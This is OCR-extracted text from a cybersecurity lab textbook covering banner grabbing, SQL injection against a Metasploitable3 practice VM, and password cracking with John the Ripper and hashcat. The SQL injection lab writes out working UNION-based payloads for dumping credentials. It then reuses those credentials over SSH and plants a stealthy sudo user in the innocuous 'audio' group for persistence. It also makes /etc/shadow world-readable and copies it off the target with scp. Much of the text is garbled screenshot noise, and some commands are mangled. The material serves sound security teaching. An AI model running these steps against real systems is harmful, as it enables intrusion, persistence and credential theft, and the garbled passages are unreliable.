1. Using cURL, retrieve the HTTP webpage hosted on our target

curl http://200.200.200.6

1.1. The result should be a complicated mess of the site’'s raw HTML code

root@KaliLinuxCLI-1: fusrfshare/nmap/scripts

15/ share/rmaps/scripts
curl httpi/ .

'[DIR

E Port f

Figure 6 - Retrieving HTML code with curl

PHD
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1.2. As discussed earlier, a web server's header may be of more interest to us. You can display
header information using theinclude (-i) switch

> curl -i http://200.200.200.6

Yary: Ao

Content— ength:
Content—Type; t html : charzet=UTF-3

<IDOCTYPE HTHL PUBLIC “-/ “OTD HTHL 2,2 Finalss

Figure 7 - Retrieving header with curl

Phase IV - Banner Grabbing with Nmap

Nmap is much more than just a port scanner! We can also write scripts to conduct more advanced
enumeration techniques once an open connection is found. By default, several pre-written scripts are provided
with the base installation of Nmap in the /usr/share/nmap/scripts directory. There are many options here for you
to use, explore, and strengthen your penetration testing knowledge.

1. Conduct another fast port scan on the target and use the banner.nse script to display any banners it
finds

> nmap —-script banner.nse -F 200.200.200.6
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root@KaliLinuxCLI-1: fusr/share/nmap/scripts —

Jusr/share/tmap/scripts

+

iz dizabled,

H|:| =t ! 'll::ll::l . 'll::ll::l . 'll::ll::l . 13 ! i= not EI]. ]_|:|I_|_IE|:| to o

Mmap done: 1 IF addr i1 host uwp) scanned in 21

Juerdshare/mmap/soripts

Figure 8 - Nmap banner grabber

NOTE: This gives us a bit more information than our initial Nmap scans, but be warned: running

scripts generates more network traffic and is thus inherently less stealthy.

2. Retrieve the HTTP headers on ports 80 and 8080 using the http-headers.nse script

> nmap —-script http-headers.nse -p 80,8080 200.200.200.6

PHD



BANNER GRABBING 801

root@KaliLinuxCLI-1: fusr/share/nmap/scripts

+40 GHMT
i Ubuntu)

itml tcharset=TF-2

Fr2hedn GHMT

(Fequest tupe: GET)
Mmap done: 1 IF adde i1 host up)

Auerdshare/imap/soripts

Figure 9 - HTTP headers

Phase V - Viewing Banner Grabs in Wireshark

Banner grabbing is a great tool to stealthily get information about a target system, but how does it look over
the wire? In this section, we will retrieve the target's FTP server banner and watch the packets in Wireshark.

1. Start a Wireshark packet capture session on the Kali-Router link

2. Perform a banner grab on port 21 (FTP) using your favorite method covered so far! - telnet /
netcat / nmap

In this example, | used the following Nmap command:

> nmap -script banner.nse -p 21 -Pn 200.200.200.6

3. In Wireshark | can see that my Nmap scan produced about 8 packets of noise to learn that the target
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is using ProFTPD 1.3.5

100.100.1680.13 200.208.200.6 TCP 60140 — 21 [ACK] Seg=1 Ack=1 Win=6.
208.2008.200.6 100.108.100.13 FTP Response: 228 ProFTPD 1.3.5 Server
108.100.100.13 200.208.200.6 TCP 60140 — 21 [ACK] Seg=1 Ack=74 Win=

100.100.1680.13 200.208.200.6 TCP 60140 — 21 [ACK] Seg=2 Ack=75 Win=

Figure 10 - Nmap banner grap network footprint

4. In contrast, using telnet only produced 5 packets of noise to get the same information!

100.100.100.16 2008.208.200.6 TCP 35826 — 21 [ACK] Seg=1 Ack=1 Win=6.
208.2008.200.6 100.100.100.16 FTP Response: 220 ProFTPD 1.3.5 Server
100.100.100.16 2008.208.200.6 TCP 35826 — 21 [ACK] Seg=1 Ack=74 Win=

Figure 11 - Telnet banner grab network footprint

Your results may vary depending on the tools and techniques that you use. Examine your own
packet capture... how does your network footprint compare? More packets? Less? Play with the various
techniques we learned throughout this chapter and take note of any differences you find. Remember,
the fewer packets generated, the more difficult it is to detect us!

End of Lab

Deliverables

4 screenshots are needed to earn credit for this exercise:

. Banner Grab on port 21 using Telnet
0 Banner Grab on port 21 using netcat
0 Banner Grab on port 80 using cURL

«  Banner Grab of all parts using Nmap

Assignment 1 - Expand your banner grabbing
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Utilize the website for Nmap and the manual pages (man nmap) using various settings to discover at least
2 ports not revealed in the walk-through. Perform banner grabs on both ports using telnet, netcat, and cURL.
Compare and contrast the different results in a short paragraph.

RECOMMENDED GRADING CRITERIA

+  Adocument containing the following information

o The identification of at least two ports that were not revealed in the walk-through
° Screenshots from telnet, netcat, and cURL for unknown port#1
° Screenshots from telnet, netcat, and cURL for unknown port#2

o Abrief description comparing the results of the different banner grabs

Assignment 2 - Metasploitable 3 - Windows

Start the Metasploitable 3 - Windows VM. Discover all of the ports and use the various banner grab techniques
to get as much information about the machine. Create a document to contain the recommended grading criteria.
(HINT: There are more than 30 ports to find)

RECOMMENDED GRADING CRITERIA

+  Adocument containing the following information

o Alist of all the available ports along with their description (e.g. Phase 1, Step 7 chart)
o Ascreenshot from telnet, netcat, or cURL for one of the ports
o Ascreenshot from telnet, netcat, or cURL for one of the ports

o Abrief description comparing the results of the different banner grabs

Figures for Printed Version
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CHAPTER 47

Gaining Access - SQL Injection

DANTE ROCCA AND MATHEW J. HEATH VAN HORN, PHD

This section will show students the basics of performing a simple SQL injection. Prior knowledge of SQL is not
required since we are walking you through the attack in a "monkey see, monkey do” fashion. This
chapter provides experience in exploiting SQL database vulnerabilities. However,
extensive SQL knowledge is necessary to conduct this type of attack against non-
prescribed targets.

LEARNING OBJECTIVES

+ Learn the basics of SQL Injection

PREREQUISITES

+ Ch 42 Building the Baseline Network

DELIVERABLES

+ 4 Screenshots are needed to earn credit for this exercise:
o Successful SQL injection getting usernames and passwords
o Using usernames and passwords to SSH into the target system
o The addition of a new SUDO user as demonstrated by SSH into the target system

o Showing the copy of the target's shadow file and passwd file in the local (Kali) Downloads folder

RESOURCES

+ Deepak Prasad - “DWVA SQL Injection Exploitation Explained (Step-by-Step)” -
https://www.golinuxcloud.com/dvwa-sgl-injection/

+ Murari, G. “Exploiting the Vulnerabilities on Metasloit3 (sic) (Ubuntu) Machine Using Metasploit Framework
and Methodologies", Dec 2020, Concordia University of Edmonton
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SQL INJECTION 805

CONTRIBUTORS AND TESTERS

+ Raechel Ferguson, Cybersecurity Student, ERAU-Prescott
+ Justin La Zare, Cybersecurity Student, ERAU-Prescott
+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | - Injection basics - find a way in

A SQL injection attack involves running an unintended SQL query using an application’s client input fields. By
using creativity within the constraints of the SQL syntax, attackers can access the SQL database, extract or modify
information, adjust their inputs, and repeat until they gain access. Our first step is to find a place to insert SQL
commands.

NOTE: Some IP addresses in the figures vary because the clarifying screenshots were added from different PCs
when testing the lab. Your IPs will also vary.

1. Start with the attack environment from Chapter 42 and get it up and running

2. Find the IP address of the Metasploitable3-Linux VM using Nmap. In our example, we discovered the
Metasploitable3-Linux VM using the this will be 200.200.200.8

Host is up (©.00859s latency).
Mot shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
##SItcp open microsoft-ds
open ipp
.Wﬂﬂfttp closed ppp

open mysgl
8 open http-proxy
Blﬂlft{p closed intexmqppnx
MAC .Iﬁlddl es5: @8: .

Figure 1 - Nmap scan results

3. We can see that MySQL is running on port 3306, likely supporting a website.

4. Open Firefox on the Kali VM. Go to the address:
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http://200.200.200.8

Index of /

Name Last modified Size Description
(3 chat/ 2020-10-29 19:37 -
(3 drupal/ 2011-07-27 20:17 -

[?) payroll_app.php 2020-10-29 19:37 1.7K
C3phpmyadmin/ 2013-04-08 12:06 -

Figure 2 - Website results

5. Click on payroll_app.php

Payroll Login

User | |
Password | |
[oK]

Figure 3 - Found a website sign-on page

6. Log in with the Username admin and the Password admin.
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Welcome, admin

Username  First Name  Last Name = Salary

Figure 4 - Results of trying a log-on

7. We gotin....sort of. We can see a table trying to display 4 fields, presumably from the MySQL
database. We can work with that.

Phase Il - SQL Injection

We want to try a few different SQL commands to see what happens. As a reminder, here are some SQL
commands:

+  ALL CAPS is used to differentiate between SQL commands and data. If a word is typed in ALL CAPS,
you know that it is telling SQL to take an action.

+  Adelimiter separates commands in the way punctuation separates sentences within a paragraph.

o Anapostrophe (‘) delineates the beginning and end of a string.

° A semicolon (;) marks the end of a full SQL command.

+  Conditional operators evaluate conditions.

o AND returns records where both on either side of the operator are true

o ORreturns records if either of the surrounding conditions is true.

. FROM is used to identify the table that stores the information.

. SELECT is used to retrieve data from the database table.

. UNION is used to combine the records of two or more SELECT statements.
. null indicates the absence of a value where it is being used.

«  #,or sometimes -, indicates the beginning of a comment in SQL. This is often why we see this symbol
at the end of a SQL injection; it comments out the rest of the query that otherwise would be executed.

c @ is used to denote a user-defined variable in SQL.
+ % s awildcard that can stand for any character or string of characters.

+ @@ is used to access global variables and system functions.
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1. With this information, return to the Payroll sign-on and try some injection. In the username field,
type:

‘*'OR 1=1 #

2. On the backend, the following SQL query may get executed:

SELECT username, first name, last name, salary FROM users WHERE username =

‘Suser’ and password = ‘S$pass’;

3. Replacing the $user and $pass variables with the inputs, we get the following query:

SELECT username, first name, last name, salary FROM users WHERE username = ‘'

OR 1=1 #' and password = ”;

4. This means, “Hey SQL, give me all records in the table where either the username field is blank (as
the apostrophe ends the string) or if 1 equals 1.” Since 1 is always equal to 1, this query will retrieve all of
the records within the table. The check against the password is never seen because the # symbol
comments everything afterward and is not executed.
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Welcome, ' OR 1=1 #

-

Username

leia organa

luke skywalker

han solo

artoo detoo

c three pio

ben kenobi

darth vader

anakin skywalker

Figure 5 - Results of SQL Injection

First Name

Leia

Luke

Han

Artoo

Ben

Darth

Anakin

Last Name

Organa

Skywalker

Solo

Detoo

Threepio

Kenobi

Vader

Skywalker

Salary

9560

1080

1200

22222

3200

10000

6666

1025

809

5. You can see that we got more information this way. We can assume that data property names in the
database table are named username, first name, last_ name, and salary

6. Butwe don't know what version of SQL we are using. Knowing this information will help us develop
our next SQL injection attack. Type:

V' UNION SELECT null, null, null, @@version #

7. This SQL command is like before. Close out the username string (). Join (UNION) the response of a
new command. Don't print in the username column (null), the first name column (null), or the last name
column (null). In the fourth column, however, print the (@@version) version of the table. Ignore the rest
of the query (#). This gives us a response of:
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-

Username  First Name  Last Name Salary

5.5.62-0ubuntu0.14.04.1

. J

Figure 6 - Result of SQL injection to find the version

note: Since the web application expects to print four output
columns, the command could also easily be ‘UNION SELECT
@@version, null, null, null#, which would still give us the

information. However, ‘UNION SELECT @@version # would not because,
although the database would happily return the information we seek, the web application will error.

This is because the web application will be trying to reference and display columns that do not exist.

8. We know from the login page that each user must have a password. Why else would the webpage
ask for it? So, let's take this speculation further and try the following

' UNION SELECT username, password, null, null FROM users #

9. Since we are appending the results, the information may appear after the existing information:
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Welcome, ' UNION SELECT username, password, null, null FROM users #

4 )
Username First Name Last Name  Salary
leia organa help me obiwan
luke skywalker like my father beforeme
han solo nerf herder
artoo_detoo b00p b33p
c three pio Prot0c07
ben kenobi thats no m00On
darth vader Dark syD3
anakin skywalker  but master:(

Figure 7 - Password Results

10. Remember, people are predictable. Let's see if they refused their names and passwords for system
access. Inyour Kali box, try to SSH into the target machine by typing:

> ssh leia organa@200.200.200.8
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ela_organal@metasplomables-ub

File Actions Edit View Help
leia_organa@li. @

autnenticlty of nost 1w.w.2.11 (18.0.2.11)" can't be established.
ED25519 key fingerprint is SHA2 : > gHXDNSWO@tEgSgF7t/SM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])}? vy
Please type 'yes', 'mo' or the fingerprint: yes
Warning: Permanently added "16 & 2 11" (FN?55%148% to the list of known hosts.
leia_organa@l@..2.11's password:

UM TUTULETTOT IS LIS L LNU/LINUX 3. 13.v-Za-generic x86_64)

* Documentation: https://help.ubuntu.com/
each pro
in fusr/share/doc/*/copy

Ubuntu comes with ABSOLUTELY NO WARRANTY,
applicable law.

leia_organa@metasploitable3-ubl404:~% |

Figure 8 - Tring to SSH in with the same credentials from the SQL database

11. We gotin. Itis rarely this easy, but it has happened to the authors in real life. It is always worth
checking

Phase Ill - Doing something with this information.

SQL injection got us in the door. So let's see what else we can do.

1. AtPrincess Leia’s login, type groups:

leia_organagmetasploitable3l 404 :~% groups
EL = A T []

leia_organaametaspl

Figure 9 - Linux permissions for Princess Leia

2. Ok, this never happens. Generally, you have to try dozens, hundreds, or even thousands of
usernames and passwords to find someone with SUDO rights. On a real system, | would think it was a
honeypot. But the target is there for our practice, so let's go with it

3. After gaining access to a system, the next thing we must do is establish persistence. So, let's create a
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new user with sudo access. Type

> sudo adduser

leia_organa@metasploitable3-ubl14@4:~% sudo adduser student
[sudo] password for leia_corgana:
Sorry, try again.
[sudo] password for leia_corgana:
Adding user “student'’
Adding new group “student’ (1800)
Adding new user “student' (10@00) with group “student'
Creating home directory ~/home/student’
Copying files from ~/fetc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for student
Enter the new value, or press ENTER for the default
Full MName []:
Room Number []
Work Phone
Home Phone
Other []:
Is the information correct? [Y/n] vy
leia_organagmetasploitable3-ubl404:~% |

Figure 10 - We created a new SUDO user named ‘student’

4. We need to add this user to a group. Let's not be obvious, so choose a group that seems innocuous.
Type

> sudo cat /etc/group
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leia_srgana@metasploitable3-ub1404: ~

File Actions Edit View Help
leia_organagmetasploitable3-ubl4@4:~% sudo cat /etc/group

root:x:@
daemon

a, luke_skywalker,han_solo

waw-data:
backup:x

Figure 11 - List of groups

5. Choose a group that appears innocuous. The audio group looks good. Now add this new user to the

audio group by typing

> sudo usermod -aG audio student

6. If Princess Leia ever changes her password, we (student) will still have access, and we can log into

the target machine anytime we want.

7. Now modify the sudo permissions so ‘student’ has sudo access. Edit the Sudoers file by typing.



SQL INJECTION 815

sudo visudo

8. Add the group ‘audio’ to have SUDO access. This means members can run all commands as all
groups (including sudo), and this rule applies to all commands run by members of the group

$audio ALL=(ALL:ALL) ALL

GNU nano 2.2.6 File: /fetc/sudoers.tmp

This file MUST be edited with the 'visudo' command as root.

Please consider adding local content in fetc/sudoers.d/ instead of
ly modifying this file.

[=8
[
Ly |

[¥y]
j¢]
[i+]
=+
=
m

on how to write a

T
=
=+

[i7]
-+ —h —h
1=

oo

=

— — —
~+ =+
[T |

m

" privilege specification
ALL=(ALL:=ALL) ALL

# Members of the admin group may gain root privileges
admin ALL=CALL) ALL

# Allow members of group sudo to execute any command
sudn ALL=(AI1 =AY ALl

audio ALL=(ALL:ALL)} ALL

sudoers(5) for more informatiom on "#include" directives:

#includedir fetc/sudoers.d

B Writeout @@ ; ile reyv e B Cut Text [ Cur Pos
BB Justify Bl Where Is Bl UnCut Text @@l To Spell

Figure 12 - Grant SUDO access to user ‘student’

9. Write out (save) A0 and exit AX to save the settings.

10. Exit the login of Princess Leia by typing.
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> exit

11. Now SSH into the target machine with the new login account student.

> ssh student@200.200.200.8

12. Navigate to the configuration files directory.

> cd /etc

13. Change the permissions on the files that contain user information (passwd) and password hashes
(shadow) we want to copy.

> sudo chmod 777 passwd

> sudo chmod 777 shadow

14. You can now close the SSH login by typing.

> exit

15. You can now copy these files from the target machine to the Kali machine for evaluation later.

16. In the Kali machine, navigate to the Downloads directory.

> cd ~/Downloads

17. Now use SCP (secure copy) to remotely copy the files.

> scp student@200.200.200.8:/etc/passwd target passwd

> scp student@200.200.200.8:/etc/shadow target shadow

18. Ensure the files are copied by typing.
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|- [~/Downloads ]|

target_Shadow target_passwd

Figure 13 - Files are copied

End of Lab

Deliverables

4 Screenshots are needed to earn credit for this exercise:

«  Successful SQL injection getting usernames and passwords
. Using usernames and passwords to SSH into the target system
+  The addition of a new SUDO user as demonstrated by SSH into the target system

+  Showing the copy of the target's shadow file and passwd file in the local (Kali) Downloads folder

Assignment 1 - SQL Injection Practice.

Install OWASP Webgoat on the Kali VM and complete the SQL injection exercises for Into and Advanced.
RECOMMENDED GRADING CRITERIA

+  Screenshot of Into exercises completed

+  Screenshot of Advanced exercises completed

Assignment 2 - SQL Injection Mitigation
Install OWASP Webgoat on the Kali VM and complete the SQL injection exercises for Mitigation.
RECOMMENDED GRADING CRITERIA

o Screenshot of Mitigation exercises completed

No Figures in this Chapter
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https://owasp.org/www-project-webgoat/
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CHAPTER 48

Gaining Access - Password Cracking

JUSTIN LA ZARE

This lab should familiarize students with generating password hashes and techniques for cracking them. It should
also demonstrate brute force and dictionary attacks.

LEARNING OBJECTIVES

* 1. Generate password hashes
+ 2. ldentify different hash types
+ 3. Perform a brute force attack using John the Ripper

« 4, Perform a dictionary attack using Hashcat

PREREQUISITES

+ Chapter 12 - Create a Kali Linux VM

DELIVERABLES

+ Screenshot of the hashes file
+ Screenshot of John the Ripper brute force attack
+ Screenshot of Hashcat finished dictionary attack

+ Screenshot of Hashcat showing the cracked hashes

RESOURCES

+ 1.]ain, Rakesh. “How to create SHA512/SHA256/MD5 password hashes on command line.” Medium.
Accessed May 29, 2024. https://rakeshjain-devops.medium.com/how-to-create-
sha512-sha256-md5-password-hashes-on-command-line-2223db20c08c

+ 2. m5kro. “Hashcat vs John the Ripper (JTR).” Medium. Accessed May 29, 2024. https://medium.com/
cyberscribers-exploring-cybersecurity/hashcat-vs-john-the-ripper-jtr-f207c¢34c5b1c

+ 3.”John the Ripper user community resources.” openwall [wiki]. Accessed May 29, 2024.
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https://openwall.info/wiki/john

+ 4."Hashcat Advanced Password Recovery.” hashcat [hashcat wiki]. Accessed May 29, 2024,
https://hashcat.net/wiki/doku.php?id=hashcat.

CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott
+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | - Password Hash Generation with mkpasswd

Before we can crack password hashes, we are going to need password hashes. This lab will walk you through
generating password hashes utilizing native Linux tools.

1. Turn on the Kali VM

2. Open the terminal and run this command to navigate to the Desktop

> cd ~/Desktop

3. We are going to generate a couple of passwords: one that is easily susceptible to a brute force attack
and two that will require a dictionary/wordlist attack

4. We will choose a very low-complexity password to generate a password susceptible to a brute-force
attack. Lower complexity means a smaller password with a smaller character set. In this case, we will
generate a hash for the password “abc123,” which is short (6 characters) and only features lowercase
letters and numbers

mkpasswd -m md5 abcl23 | tee -a hashes

5. Notice above how we use the tee command; this will output the hash to stdout (the terminal) so we
can see the hash we generated, but it will also append the hash to the end of a file called “hashes” on
the desktop (if that file does not exist, it will create it)

6. Next, we will generate two passwords susceptible to a dictionary/wordlist attack and add them to
the “hashes” file

> mkpasswd -m md5 Cybergenius28 | tee -a hashes



https://openwall.info/wiki/john
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mkpasswd -m md5 tObyDOg\$ | tee -a hashes

NOTE: The “\" is not part of the password. The “$” indicates to the shell that we want to access a user
or environment variable. This indicates that we are not trying to access a variable called “Skywalker1”
(from the first password) or 12345 (from the second password), but we are trying to use the “$” sign as
a character. The “\" is used to escape the variable declaration.

7. We should now have the following file

— )~ ~/Desktop |

- hashes
$1$Qu2ZEy1Q$nej3EidXatW5uD2HocZdO.
$1$sUNE8XKI$c/1WA65d3PIH/1Qn3QSK2.
$1$KgtoOmNOZ$LBINtBR5WThsuFjpn7ifq@

Figure 1 - Verify the contents of the hashes file

NOTE: The hashes you generate may be different than the hashes displayed. This is because these are
salted hashes. The random bit of characters $1$ABCDEFGH$xxxxxXx... are mixed in with the password to
generate the hash. This is so people with the same password do not have identical password hashes,
especially thwarting attackers who use rainbow tables.

Phase Il - Brute Force Attack with John the Ripper

John the Ripper is a mostly CPU-based password cracker. This is a good tool for “quick-and-dirty” applications.
It supports various hash types and features support for automatic hash type detection. We will use this tool to
perform a brute-force attack, though it can do a wide variety of attacks. A proper brute force attack is guaranteed
to crack a password (assuming an exhaustive character set); however, depending on a password'’s complexity and
length, we could be talking about time on the scale of the lifetime of the universe to crack some passwords.

1. To perform a brute-force attack using John the Ripper, run the following command on the “hashes”
file from the previous phase

> john ~/Desktop/hashes -incremental

2. After running the command, you should see that John the Ripper could quickly crack the “abc123"
password
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= hashes --incremental

Created directory: /home/student/.john

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 3 password hashes with 3 different salts (mdScrypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])
'q" or Ctrl-C to abort, almost any other key for status

Figure 2 - Brute-force attack with John the Ripper

3. Letitrun for a few minutes. Hit the spacebar to see the progress at any time. You should see
something similar to this

shlket .. shlkin
mj2978 ..mj2911
cycry2 .. cyc/cc
cml1l39 .. cmlnk5
luacll.. Lluahom

.004032¢g/s 19655p/s
.003558g/s 19665p/s
.003048g/s 19593p/s
.002906g/s 19605p/s
.002890¢g/s 19602p/s

LS S R Y R F¥
W W www
O WO WO WO O

S S RV R F¥ ]

W W W wWw
WO WO WO WO WO

P

“J
“J

p

Figure 3 - Checking the status of the brute-force attack

4. John may finish in 5 minutes, 5 days, or 5 millennia, and you will see all the plaintext passwords that
John cracked outputted onto the terminal. However, we will not wait; press g to end the process

5. If you want to return to the password hashes you already cracked or lost the terminal where you

cracked the password, John the Ripper caches them. To view the cracked passwords again, you can run
the following command

> john ~/Desktop/hashes -show

Phase Ill - Dictionary Attack with Hashcat

Hashcat is a mostly GPU-based password cracker. This is the go-to for computationally intensive and more

advanced password cracking. It also supports various hash types and features basic automatic hash type
detection. We will use this tool to perform a dictionary attack, though it can also perform a wide variety of attacks.

A dictionary, or wordlist, attack is an alternate means of cracking passwords and is much faster than brute
force. However, it is not guaranteed to work. It takes a preset list of passwords (called a dictionary or wordlist),
runs them through a hashing algorithm, and checks whether that hash matches any of the hashes we are trying
to crack. If the hashes match, we know what the original input was. While this isn't guaranteed to work, it is a good
way to rule out common passwords and is typically faster than brute force.

There are many different ‘wordlists,’ so knowing the most about your target will help you determine which
wordlist is the most appropriate. Do they know a foreign language? Are they movie buffs? Sports buffs? What are
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their likely hobbies? You can download and use many repositories of various wordlists, such as the ones found in
SeclLists (https://github.com/danielmiessler/Seclists/tree/master/Passwords/).

1. Adictionary or wordlist attack in hashcat typically looks like the following

> hashcat -m <hash type> -a 0 <hash or hashes file> <wordlist>

2. Notice that we need to figure out what the hash type is, and we need find a wordlist to use

3. Though we created the hashes earlier, if we stumble across a password dump, we might not know
what kinds of hashes we are looking at. Let's use the tool hash-identifier to determine what hash type
we need to attack

> hash-identifier

4. This tool takes in a hash and tries to identify what type of hash it is. Plugging in one of the hashes
from our "hashes” file, we can see it detected this as an “MD5 (Unix)" hash

-[~/Desktop]
-n 1 hashes
$1$Qu2ZEy1Q$nej3EidXatW5uD2HocZdo.

)-[~/Desktop]

A Y _ _ \V/_/A v NN AA N

1 \ /! _ AUV Y W W W W
Y \§ VAR /\ ) AV W W W WA W
AN SN \_\/\____ AN T S

\VAVAVAVAVERN AV AVEES WAV N/ N/__/ vl1.2

By Zion3R

wwn . Blackploit.com

RootgBlackploit.com

3t T TR I T R o H

HASH: $1$Qu2ZEyl1Q$nej3EidXatW5uD2HocZdO.

Pncecihla Hachcg:*

[+] MD5(Unix)

HASH: |

Figure 4 - Identifying a hash type with hash-identifier
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NOTE: hash-identifier is a good first step in some cases, but it will not be able to identify all hashes
you throw at it. If this does not work, it might make sense to go online and research the characteristics
of the hashes you are trying to crack. For instance, some might have an identifiable prefix like “$6”
(sha512crypt) or “$y” (yescrypt). Searching “$6 hash” or “$y hash” online will confirm this.

5. Now that we know the hash type is “MD5 (Unix)", we can run the following command

> hashcat -h

6. This will print out a very, very long help menu. This help menu not only contains different flags that
can modify the behavior of hashcat, but it also contains many informational tables about different hash
types, attack types, and more. We will look for the number corresponding to the hash type we identified
earlier by scrolling until we find the hash type table

Uy v Ud W) U o o
3 FortiGate256 (Forti0S256) Operating System
Aruba0s Operating System
Juniper IVE Operating System
Juniper NetScreen/SSG (Screen0S) Operating System
Juniper/NetBSD shalcrypt Operating System
iPhone passcode (UID key + System Keybag) Operating System
macO0S v10.4, macO0S v10.5, mac0S v10.6 Operating System
mac0S v10.7 Operating System
mac0S v10.8+ (PBKDF2-SHA512) Operating System
bcrvot $2%$. Blowfish (Unix) Operating Svstem
md5crypt, IDEJQUEE®), Cisco-I0S $1$ (MD5) Operating System
descrypt, DES (Unix), Traditional DES Operating System
shal($salt.shal(utfié6le($username).': "' .utfiele($pass))) Operating System
sha256crypt $5$%, SHA256 (Unix) Operating System
sha512crypt $6$, SHA512 (Unix) Operating System

SQLCipher Database Server

MSSQL (2000) Database Server

MSSQL (2005) Database Server

2014 Database Server

Figure 5 - Finding the hash type in the hashcat table

7. Now that we have the hash type, we need a wordlist to complete the dictionary attack

8. Kali VMs come pre-equipped with rockyou.txt, a wordlist of 14 million+ unique passwords from the
data breach of the popular social media platform RockYou in 2009. Though this list is from 2009, people
still come up with passwords much the same, making this list relevant today. To access this wordlist,
however, we will need to uncompress it

9. Run the following command to uncompress rockyou.txt.gz using gunzip

> sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
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drwxr-xr-x
drwxr-xr-x
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx
-I'W-r--r--
Trwxrwxrwx
Trwxrwxrwx
Trwxrwxrwx

35

RPRRRRRERRPRRERRRERRERSN

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

NOTE: “/usr/share/wordlists” contains
cases. Feel free to explore.

— -al /usr/share/wordlists
total 136660

root 4096
root 12288
root 26
root 25
root 30
root 35
root 41
root 45
root 28
root 27
root 46
root 41
root 139921507
root 39
root 25
root 37

Figure 6 - Looking at wordlists built into Kali

many wordlists that might be more applicable in other use

-
— /usr/share/dnsmap/wordlist_TLAs.txt
— fusr/share/set/src/fasttrack/wordlist.txt

N
— /usr/share/john/password.lst
N
—
— /usr/share/nmap/nselib/data/passwords.lst
rockyou.txt
— /usr/share/sqlmap/data/txt/wordlist.txt
N
— /usr/share/dict/wordlist-probable.txt

PHD

10. Now, we have all the information we need to run the dictionary attack using hashcat. Plugging in
the following information, we can execute the attack using the following command

hashcat -m 500 -a 0 ~/Desktop/hashes /usr/share/wordlists/rockyou.txt

NOTE: If you run into the “Not enough allocatable device memory for this attack” error, shut down the
Kali VM and allocate more RAM. If the attack will take too long, try increasing the number of vCPUs the
VM has. Since we are in a VM, we can tack on “-w 3" or “-w 4" to increase the attack’s CPU utilization/
workload. We recommend sticking to workload levels 1-2 on a host machine because it can start eating
away at resources that let us use our mouse or display pictures on the screen.

11. Pressing s, we can see the dictionary attack’s current execution status. This status contains tons of
information, such as the type of hash we are attacking, the estimated completion time, the number of

hashes it was able to recover, etc
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hashcat
«e+..: Running
Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5))
Hash.Target : /home/student/Desktop/hashes
Time.Started.....: Wed May 29 13:27:17 2024 (9 secs)
Time.Estimated ... : Wed May 29 13:59:15 2024 (31 mins, 49 secs)
Kernel.Feature ... : Pure Kernel
File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1 ., 14953 H/s (3.12ms) @ Accel:256 Loops:62 Thr:1l Vec:4
Recovered : 1/3 (33.33%) Digests (total), 0/3 (0.00%) Digests (new), 1/3 (33.33%)
Salts
Progress : 208896/43033155 (0.49%)
: 0/208896 (0.00%)
Restore.Point : 69632/14344385 (0.49%)
Restore.Sub.#1 ... : Salt:1 Amplifier:0-1 Iteration:992-1000
Candidate.Engine.: Device Generator
Candidates.#1 : 030979 — jordan95
Hardware.Mon.#1..: Util: 57%

[sltatus [plause [blypass [clheckpoint [f]inish [qluit = |}

Figure 7 - Hashcat dictionary attack in progress

12. Once the attack is finished, we will see “Cracked” or “Exhausted” as the status. “Cracked” means
that it was able to crack all the hashes. “Exhausted” means it went through the entire wordlist and could
not crack all the hashes. Below, we managed to crack all of the hashes we provided

hashcat

Cracked

500 (md5crypt, MD5 (Unix), Cisco-I0S $1$ (MD5))
Hash.Target
Time.Started : Wed May 29 13:27:17 2024 (2 mins, 42 secs)
Time.Estimated ... : Wed May 29 13:29:59 2024 (0 secs)
Kernel.Feature ... : Pure Kernel
Guess.Base : File (/usr/share/wordlists/rockyou.txt)
Guess.Queue : 1/1 (100.00%)

c 14175 H/s (3.19ms) @ Accel:256 Loops:62 Thr:1 Vec:4

Recovered... : 3/3 (100.00%) Digests (total), 2/3 (66.67%) Digests (new), 3/3 (100.00
%) Salts
Progress : 3727360/43033155 (8.66%)
Rejected : 0/3727360 (0.00%)
Restore.Point 1 1242112/14344385 (8.66%)
Restore.Sub.#1 ... : Salt:0 Amplifier:0-1 Iteration:992-1000
Candidate.Engine.: Device Generator
Candidates.#1 : 1988666 — syurgal!
Hardware.Mon.#1 .. : Util: 51%
Started: Wed May : )
Stopped: Wed May :

13:
13:

7:16
0:01

Figure 8 - Finished dictionary attack

13. Although hashcat outputs passwords when discovered, If we miss it, we have too many status
updates, etc., run the below command on the “hashes” file to see all the hashes and their corresponding
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plaintext values

> hashcat -m 500 ~/Desktop/hashes —-show

)-[~/Desktop]

-m 500 ~/Desktop/hashes --show
$1$QU7ZEy1Q$ne3;EldxatW5uD7HochO..abclﬁa
$1$SUNE8XKI$c/1WA65d3PIH/1Qn3QSK2. :Cybergenius28
$1$KetI9mNOZ$LBINtBR5WThsuFjpn7ifq0:t@byDog$

Figure 9 - Cracked hashes

End of Lab

Deliverables

4 screenshots are needed to earn credit for this exercise:

+  Screenshot of the hashes file
«  Screenshot of John the Ripper brute force attack
+  Screenshot of Hashcat finished dictionary attack

. Screenshot of Hashcat showing the cracked hashes

Assignment 1 - John the Ripper Dictionary Attack

Utilize John the Ripper’s built-in help menu and perform a dictionary attack using rockyou.txt on the hashes
from the exercise.

RECOMMENDED GRADING CRITERIA

+  Adocument containing the following information

o The John the Ripper dictionary attack command
° Screenshot of the finished attack

o A paragraph or two discussing other kinds of attacks that John the Ripper can perform
(other than dictionary or brute force attacks)

Assignment 2 - Hashcat Mask Attack




PASSWORD CRACKING

Utilize Hashcat's online wiki and perform a mask attack on the following hashes. Here is a link to get started:

